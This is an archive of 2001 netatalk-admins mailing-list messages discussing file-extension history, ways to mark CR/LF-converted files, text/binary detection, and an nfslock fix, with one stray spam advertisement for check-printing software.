Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14051
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 17:01:04 -0500 (EST)
Received: from runner.ucdavis.edu (runner.ucdavis.edu [169.237.105.37])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA13632
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 17:01:02 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by runner.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1CM0iV27146;
	Mon, 12 Feb 2001 14:00:44 -0800 (PST)
Date: Mon, 12 Feb 2001 14:00:44 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@runner.ucdavis.edu
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
cc: netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again... 
In-Reply-To: <14984.3259.732149.27775@h0050da615e79.ne.mediaone.net>
Message-ID: <Pine.GSO.4.21.0102121354270.24644-100000@runner.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 12 Feb 2001, Bob Rogers wrote:

>    . . . I've observed that most Unix and Mac people don't use file
>    extensions at all.
> 
> I beg to differ; who else but a Unix person would think of compound
> extensions like .tar.gz, or .i386.rpm ?  And could you imagine `make'
> without extensions?

Alright... correction:  tar and gz do require that extension, but most of
the time, shell scripts aren't marked, nor are binary executables.  File
extensions are more of a convention than a requirement.  You could run
make without file extensions at all as long as the Makefile specifies the
file names.

>    . . . File extensions were introduced through DOS, really . . .
> 
> ;-}  Next thing you know, you'll be suggesting that Bill Gates invented
> GUIs and the Internet . . .

No, he bought out the company who had the original concept for
Windows.  :)  What I mean is that until DOS, file extensions were just a
naming convention.  You want to designate that a file is a text
file?  Then put it in a directory called "text" or "txt."  Naming
conventions were there, but they didn't gain the massive popularity they
have now until DOS came along and started requiring .exe, .com, and .bat
for executables.  But we're getting off-topic here.

>    Until the early 80's, IIRC, file systems almost universally required
> extensions; Unix was the (then) rare exception in that it didn't parse
> "." specially.  Then the Mac (actually, the Apple Lisa) changed
> everything . . .

Ah.  Well, then I stand corrected.  

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Mon Feb 12 18:04:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA28676
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 18:04:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA09533
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 18:04:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA09507
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 18:04:03 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA09366
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 18:03:59 -0500 (EST)
Received: (qmail 19607 invoked by uid 104); 12 Feb 2001 23:03:58 -0000
Received: from cwg-dated-976de3b93a5c80b6@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.313009 secs); 12/02/2001 17:03:58
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-976de3b93a5c80b6@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 12 Feb 2001 23:03:58 -0000
Received: (qmail 19237 invoked by alias); 12 Feb 2001 23:03:52 -0000
From: "Chris Garrigues" <cwg-dated-976de3b93a5c80b6@deepeddy.com>
Received: (qmail 19208 invoked from network); 12 Feb 2001 23:03:51 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <itlm019@mailbox.ucdavis.edu@fixme>; 12 Feb 2001 23:03:51 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Marc Miller <itlm019@mailbox.ucdavis.edu>
Cc: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>, netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again... 
In-Reply-To: <Pine.GSO.4.21.0102121354270.24644-100000@runner.ucdavis.edu> 
References: <Pine.GSO.4.21.0102121354270.24644-100000@runner.ucdavis.edu>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_2146618058P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 12 Feb 2001 17:03:51 -0600
Message-ID: <19191.982019031@deepeddy.com>
Mail-Reply-To: cwg-dated-976de3b93a5c80b6@DeepEddy.Com

--==_Exmh_2146618058P
Content-Type: text/plain; charset=us-ascii

> From:  Marc Miller <itlm019@mailbox.ucdavis.edu>
> Date:  Mon, 12 Feb 2001 14:00:44 -0800 (PST)
>
> On Mon, 12 Feb 2001, Bob Rogers wrote:
> 
> >    . . . I've observed that most Unix and Mac people don't use file
> >    extensions at all.
> > 
> > I beg to differ; who else but a Unix person would think of compound
> > extensions like .tar.gz, or .i386.rpm ?  And could you imagine `make'
> > without extensions?
> 
> Alright... correction:  tar and gz do require that extension, but most of
> the time, shell scripts aren't marked, nor are binary executables.  File
> extensions are more of a convention than a requirement.  You could run
> make without file extensions at all as long as the Makefile specifies the
> file names.

I'd like to see you try...Make would be next to useless w/o extensions.

> >    . . . File extensions were introduced through DOS, really . . .
> > 
> > ;-}  Next thing you know, you'll be suggesting that Bill Gates invented
> > GUIs and the Internet . . .
> 
> No, he bought out the company who had the original concept for
> Windows.  :)  What I mean is that until DOS, file extensions were just a
> naming convention.  You want to designate that a file is a text
> file?  Then put it in a directory called "text" or "txt."  Naming
> conventions were there, but they didn't gain the massive popularity they
> have now until DOS came along and started requiring .exe, .com, and .bat
> for executables.  But we're getting off-topic here.

That's BS.  The use of extensions (and a lot of other things) 
in MSDOS was based on the same in CP/M and CP/M got most of those same things 
from RT-11 (or was it RS/X?).

Most of the various competing minicomputer OSes also used extensions in a 
similar way.

> >    Until the early 80's, IIRC, file systems almost universally required
> > extensions; Unix was the (then) rare exception in that it didn't parse
> > "." specially.  Then the Mac (actually, the Apple Lisa) changed
> > everything . . .
> 
> Ah.  Well, then I stand corrected.  

If your knowledge of computer history only goes back two decades, you 
shouldn't be making these kind of pronouncements.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_2146618058P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6iGvXK9b4h5R0IUIRAh9tAJ4ogFo8vw6LZD+uIJV0QjaTSrhPQACdGCJD
comWgScK3u+ov563F9wMBP0=
=KLPy
-----END PGP SIGNATURE-----

--==_Exmh_2146618058P--

From netatalk.administrators-errors@umich.edu  Mon Feb 12 22:05:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA03092
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 22:05:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA29209
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 22:05:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA29195
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 22:05:39 -0500 (EST)
Received: from globalzon1.globalzon.com ([63.215.254.91])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA29158
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 22:05:38 -0500 (EST)
Message-Id: <200102130305.WAA29158@funinacapulco.mr.itd.umich.edu>
Received: from machine1 (63.210.161.34 [63.210.161.34]) by globalzon1.globalzon.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 1R5Z34HT; Mon, 12 Feb 2001 19:05:41 -0800
To: netatalk-admins@umich.edu
From: "Financial Advisor" <kena@neovi.com>
Subject: PREMIUM VersaCheck 2001
Reply-To: "Financial Advisor" <kena@neovi.com>
Date: 02/12/01 01:27:48 PM

To: SNYDER, TOM PRODUCTIONS INC

POWERFUL
VERSACHECK 2001 Premium
Create and Print fully bankable Custom Checks!

Allows you to print bank accepted checks on-demand using regular paper or blank security check paper 
available online or at major office superstores and computer retailers.
 
Even prints the bank code line at the bottom of the check, your address with logo and all details required 
by banks and retailers.

Click on the following link for more details:
 http://www.g7ps.com/scripts/premium.asp


Thank you very much. 
Yours truly,

sales@g7ps.com
800-303-2620

If you do not want to hear about product news in the future, click on:
http://www.globalzon2k.com/scripts/mf_de.asp?e=netatalk-admins@umich.edu


From netatalk.administrators-errors@umich.edu  Mon Feb 12 23:07:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA04527
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 23:07:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA06895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 23:07:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA06880
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 23:07:31 -0500 (EST)
Received: from godzilla.jrd.org ([216.41.40.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id XAA06793
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 23:07:25 -0500 (EST)
Received: (qmail 6365 invoked from network); 13 Feb 2001 04:07:29 -0000
Received: from kong.jrd.org (HELO jrd.org) (192.168.2.1)
  by godzilla.jrd.org with SMTP; 13 Feb 2001 04:07:29 -0000
Received: (qmail 14517 invoked by uid 501); 13 Feb 2001 05:07:23 -0000
Date: 13 Feb 2001 05:07:23 -0000
Message-ID: <20010213050723.14516.qmail@jrd.org>
From: "John R. Dunning" <jrd@jrd.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: "Chris Garrigues" <cwg-dated-976de3b93a5c80b6@deepeddy.com>
Cc: Marc Miller <itlm019@mailbox.ucdavis.edu>,
        Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>,
        netatalk-admins@umich.edu
Subject: CRLF fun stuff again... 
In-Reply-To: <19191.982019031@deepeddy.com>
References: <Pine.GSO.4.21.0102121354270.24644-100000@runner.ucdavis.edu>
	<19191.982019031@deepeddy.com>
X-Mailer: VM 6.30 under Emacs 19.34.1

[Getting to be off-topic; sorry...]

    From: "Chris Garrigues" <cwg-dated-976de3b93a5c80b6@deepeddy.com>
    Date: Mon, 12 Feb 2001 17:03:51 -0600
[...]    
			      Make would be next to useless w/o extensions.

Correct.  It's extremely rare any more to find a makefile which
doesn't rely on pattern rules, eg rules driven by semantic knowledge
of filename extensions.
[...]
		The use of extensions (and a lot of other things) 
    in MSDOS was based on the same in CP/M and CP/M got most of those same things 
    from RT-11 (or was it RS/X?).
    
RT had variants with no filesystem, as well as extremely simple
filesystems (not much more than a disk driver), so it's somewhat
arguable whether extensions were a feature there.  RS/X (often
pronounced R-sucks :-) made heavy use of filename extensions as far
back as the early '70s or so.

    Most of the various competing minicomputer OSes also used extensions in a 
    similar way.

Right.  TOPS-10/20 in particular was an early player in that game;
that one dates back (I think) to the late 60s; you can argue that it's
not a competitor, though the groups at DEC would likely have
disagreed.  I remember hacking on other late-60s early-70s systems by
long-forgotten outfits like Interdata and Harris Microsystems; they
all had filename extensions that meant something.

*nix was notable in its early days for being the maverick, and *not*
having any kind of convention for carrying file type information out
of band from the data.  Since it (later) completely overwhelmed the
industry, it's currently fashionable to forget that there were earlier
systems which did a much more comprehensive and consistent job of
dealing with the issue.

I've been doing this *way* too long :-{

From netatalk.administrators-errors@umich.edu  Tue Feb 13 10:30:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15390
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Feb 2001 10:30:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00109
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Feb 2001 10:29:54 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00088
	for netatalk.administrators-members@umich.edu; Tue, 13 Feb 2001 10:29:53 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA00039
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 10:29:51 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f1DFTqZ27739;
	Tue, 13 Feb 2001 15:29:56 GMT
To: netatalk-admins@umich.edu
cc: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
Subject: Re: How to fix CRLF stuff... 
In-reply-to: Your message of "Mon, 12 Feb 2001 12:42:07 EST."
Date: Tue, 13 Feb 2001 15:29:52 +0000
Message-ID: <27737.982078192@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

Bob Rogers writes:
>   From: Duncan Sinclair <sinclair@dis.strath.ac.uk>
>   Date: Sat, 10 Feb 2001 17:08:46 +0000
>
>   . . .
>
>   As an additional safeguard, it may be wise to be able to mark files
>   which have had the cr/lf transformation done to them so that when
>   they are sent back to the Mac there is no chance of them being
>   messed up.


>   If for some reason the sticky bit was unavailable for use in this
>   fashion, berhaps a spare bit could be found inside the appledouble
>   info - but this wouldn't be as efficient.
>
>Since the original motivation was to make Mac files usable to Unix
>apps/users, using the sticky bit seems like asking for trouble.  If the
>files are only accessed from Macs via shares, then you can guarantee
>that no Unix apps will misinterpret or change their sticky bits.  But in
>the general case, it seems safer to use the .AppleDouble file . . .

OK, I've done some reading up and the sticky bit is out, but maybe
there is some combination of 'x' bits that could be used.  I'm not
100% sure if netatalk uses the exec bits to mean anything (it doesn't
look like it, but I don't fully understand what afpd/unix.c does with
modes), but I was thinking that maybe "g-x,o+x" might be a good flag.

>   1.  If some other Unix app were to edit the file, would it preserve
>"+t"?  (emacs 20.7 does, btw.)  How about some random Windows app (via
>Samba)?

Unix apps should preserve mode bits.  I don't know if samba does this.
>From a quick glance it seems to do something with at least the u+x bit,
but I can't see any particular pattern.

>   2.  Also, if some other bit were used on a different netatalk port
>due to system constraints, then you wouldn't be able to move shares
>between the two systems via Unix means (e.g. dump/restore, tar).

Yep, well life's like that.  With the "g-x,o+x" solution, this should
be portable between all posix compliant systems, unless they are playing
tricks...

>   3.  There is also a compatibility issue here.  After installing a
>hypothetical new version of netatalk that uses this explicit
>transformation indication, there will be transformed files without the
>sticky bit, and possibly untransformed "+t" files.

Yep, an "upgrade" step would be needed, along the lines of what you
suggest.

>This is the same marking operation as when a newly Unix-created file is
>first seen by afpd, and could be as simple as "chmod +t" . . . but
>somehow it feels safer to me to keep it in the .AppleDouble file . . .

Emm...  How about in both places.  With either being used, probably
using the mode bits first for speed.

>   4.  Also, how does this interact with the "noadouble" feature?  It
>seems to me that if "lazy" .AppleDouble creation is enabled, then the
>server would always have to create an .AppleDouble file for text files,
>just to tell itself in the future that the "+t" bit is significant.

Not sure.  I don't use "noadouble", so don't know its implications.
I guess though that "noadouble" would be mostly used in non-Mac areas.

(My motivation is to allow manipulation of Mac files on Unix, not Unix
files on Mac, so I would rarely point netatalk at a "Unix" directory.)

Perhaps "noadouble" should imply "nocrlf", or at least no mode bit
twiddling.  If a "noadouble" area is unix only, it should use the
traditional AppleVolumes.system way of deciding if it wants to do cr/lf
conversion.

Is "noadouble" lazy, or completely prohibitive?

>In addition to automatic transformation, it would be good to have a Unix
>utility, call it afpd-xlate-crlf, that can do the transformation and
>update the appropriate bit on demand.

Good idea.

>That would help for the ambiguous
>and/or misleading cases (as long as the daemon continues to obey the
>bit, regardless of what the file type says).

Hmmm...  If you over-wrote a text file with a binary file, I wouldn't
want it to continue doing cr/lf munging.  But then my helper process
would sort out the move from text to binary as well as binary to text.

>   But, to be safe, such a program should do file locking to avoid
>corruption, since it has to update both the data and the bit.  Which
>makes it seem a bit like your proposed helper app.  Maybe afpd should
>spawn afpd-xlate-crlf to do these translations on the side?

Excellent idea.  You might choose to you the same binary for the helper
app, for the manual process, and for the "upgrade" step...

>The locking
>should give you all the serialization you need (as long as you avoid
>race conditions between afpd and afpd-xlate-crlf).  But if you do
>translate asynchronously, you still have the problem that you can't
>return an error to the client if afpd-xlate-crlf fails.  And maybe,
>after all is said and done, translation isn't such a big job that it's
>worth the overhead of forking a new process . . .

One reason for serialising the operation is to avoid forking several
hundred processes as a result of the Finder copying a large number of
text files and changing their types quickly.

Thanks for your comments!

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Tue Feb 13 12:22:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18835
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Feb 2001 12:22:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16939
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Feb 2001 12:22:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16896
	for netatalk.administrators-members@umich.edu; Tue, 13 Feb 2001 12:22:03 -0500 (EST)
Received: from mail.greatbasin.net (mail.greatbasin.net [207.228.35.39])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA16858
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 12:22:01 -0500 (EST)
Received: from [172.16.1.6] (rno-dsl0b-131.gbis.net [216.82.145.131])
	by mail.greatbasin.net (8.9.3-MySQL-0.2.3b/8.9.3) with ESMTP id JAA22791
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 09:22:00 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 13 Feb 2001 09:22:21 -0800
Subject: Re: How to fix CRLF stuff... 
From: Jeremy Buchmann <jeremy@wellsgaming.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6AEAD4B.158F%jeremy@wellsgaming.com>
In-Reply-To: <27737.982078192@dis.strath.ac.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Okay, this seems to be getting very complicated...is there a more simple
approach?

For example, I use the Unix command "less" quite a bit to read through text
files.  But when I type "less picture.jpg", less tells me that it's a binary
file.  How does it know?  I don't know exactly how it works, but I'm
guessing it just scans the first few hundred or thousand bytes and checks
for non-text/non-line-ending characters and if any are there, it reports it
as a binary file.  This may sound overly-simplistic, but it seems to work
incredibly well.  What do you think?  Here are the pros and cons I could
think of:

Good Things:
1) Much more simple to implement
2) Should be pretty effective

Number 1) is the main thing.  Much less work, less complication, fewer bugs.
As for 2), well it should be as effective as less if we used it's method of
examining files (and I've never seen less be wrong).

Bad Things:
1) It's not a perfect way of determining text/binary files.
2) It may be slower.

Regarding 1), sure it's not perfect, but I think it'd be pretty darn good.
I can think of a few things (like tar files with mostly text files and then
a binary file at the end) that might thwart it, but those are special cases.
Besides, can the dual-process-IPC method garantee 100% accuracy?  As for 2),
I don't think it'd be *that* slow (less can do it pretty quickly) and
besides, when have Mac users been concerned with speed?  No one buys a Mac
because it's a speed demon.

Thoughts?

--Jeremy [jeremy@wellsgaming.com]


From netatalk.administrators-errors@umich.edu  Tue Feb 13 12:37:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA19311
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Feb 2001 12:37:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA03353
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Feb 2001 12:37:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA03346
	for netatalk.administrators-members@umich.edu; Tue, 13 Feb 2001 12:37:04 -0500 (EST)
Received: from femail3.sdc1.sfba.home.com (femail3.sdc1.sfba.home.com [24.0.95.83])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA03292
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 12:37:03 -0500 (EST)
Received: from [10.0.1.5] ([24.176.79.249]) by femail3.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010213173501.EJRH2560.femail3.sdc1.sfba.home.com@[10.0.1.5]>
          for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 09:35:01 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 13 Feb 2001 09:37:09 -0800
Subject: man magic (was Re: How to fix CRLF stuff... )
From: paul beard <pkdb1@home.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6AEB0C5.37BA%pkdb1@home.com>
In-Reply-To: <B6AEAD4B.158F%jeremy@wellsgaming.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA19311

MAGIC(5)                                                 MAGIC(5)

NAME
       magic - file command's magic number file

DESCRIPTION
       This manual page documents the format of the magic file as
       used by the file(1) command, version 3.30. The  file  com­
       mand  identifies  the  type  of  a file using, among other
       tests, a test for whether the file begins with  a  certain
       magic  number.   The  file /usr/share/magic specifies what
       magic numbers are to be tested for, what message to  print
       if  a  particular  magic  number  is found, and additional
       information to extract from the file.

       Each line of the file specifies a test to be performed.  A
       test  compares the data starting at a particular offset in
       the file with a 1-byte, 2-byte, or 4-byte numeric value or
       a  string.   If  the  test succeeds, a message is printed.
       The line consists of the following fields:

<snip>


on 2/13/01 9:22 AM, Jeremy Buchmann at jeremy@wellsgaming.com wrote:

> Okay, this seems to be getting very complicated...is there a more simple
> approach?
> 
> For example, I use the Unix command "less" quite a bit to read through text
> files.  But when I type "less picture.jpg", less tells me that it's a binary
> file.  How does it know?  I don't know exactly how it works, but I'm
> guessing it just scans the first few hundred or thousand bytes and checks
> for non-text/non-line-ending characters and if any are there, it reports it
> as a binary file.  This may sound overly-simplistic, but it seems to work
> incredibly well.  What do you think?  Here are the pros and cons I could
> think of:
> 
> Good Things:
> 1) Much more simple to implement
> 2) Should be pretty effective
> 
> Number 1) is the main thing.  Much less work, less complication, fewer bugs.
> As for 2), well it should be as effective as less if we used it's method of
> examining files (and I've never seen less be wrong).
> 
> Bad Things:
> 1) It's not a perfect way of determining text/binary files.
> 2) It may be slower.
> 
> Regarding 1), sure it's not perfect, but I think it'd be pretty darn good.
> I can think of a few things (like tar files with mostly text files and then
> a binary file at the end) that might thwart it, but those are special cases.
> Besides, can the dual-process-IPC method garantee 100% accuracy?  As for 2),
> I don't think it'd be *that* slow (less can do it pretty quickly) and
> besides, when have Mac users been concerned with speed?  No one buys a Mac
> because it's a speed demon.
> 
> Thoughts?
> 
> --Jeremy [jeremy@wellsgaming.com]


From netatalk.administrators-errors@umich.edu  Tue Feb 13 16:16:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA26067
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Feb 2001 16:16:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA10344
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Feb 2001 16:16:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA10319
	for netatalk.administrators-members@umich.edu; Tue, 13 Feb 2001 16:16:14 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA10278
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 16:16:13 -0500 (EST)
Received: (qmail 13766 invoked by uid 104); 13 Feb 2001 21:16:12 -0000
Received: from cwg-dated-39dfe4e584bdaaf1@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.301149 secs); 13/02/2001 15:16:11
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-39dfe4e584bdaaf1@deepeddy.com>)
          by funinacapulco.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 13 Feb 2001 21:16:11 -0000
Received: (qmail 15230 invoked by alias); 13 Feb 2001 21:16:10 -0000
From: "Chris Garrigues" <cwg-dated-39dfe4e584bdaaf1@deepeddy.com>
Received: (qmail 15207 invoked from network); 13 Feb 2001 21:16:10 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <walt@terrascope.com@fixme>; 13 Feb 2001 21:16:10 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Walt Reed <walt@terrascope.com>, netatalk-admins@umich.edu
Subject: Re: "Another process changed the volume during the search..." 
In-Reply-To: <5329.981645643@deepeddy.com> 
References: <26803.981586966@deepeddy.com> <3A81E31D.5C4FB8B@terrascope.com> <16355.981592570@deepeddy.com> <3A81FC20.CCFAC0D1@terrascope.com> <5329.981645643@deepeddy.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1080719364P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 13 Feb 2001 15:16:10 -0600
Message-ID: <15204.982098970@deepeddy.com>
Mail-Reply-To: cwg-dated-39dfe4e584bdaaf1@DeepEddy.Com

--==_Exmh_-1080719364P
Content-Type: text/plain; charset=us-ascii

> From:  "Chris Garrigues" <cwg-dated-1c3d47bb1fd82104@deepeddy.com>
> Date:  Thu, 08 Feb 2001 09:20:43 -0600
>
> Thanks.  More data:  Everybody there is having this problem. About half of the 
> machines are running 9.1 and the other half will be doing so as well soon.
> 
> I've just stopped samba and nfs and have asked him to let me know if it helps.
> 
> They do open files directly on the server.  I'm not sure exactly what 
> applications they use, but they're an advertising firm if that gives a clue
> .  
> This problem didn't occur when they were using a Mac server.
> 
> I'll post again when I know if turning off samba and nfs helped.

Turns out that it was nfslock causing the problem.  We use nfs little enough 
that I'm going to turn off nfslock until I get screwed by not having a lock 
daemon, then I'll worry about how to fix it.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
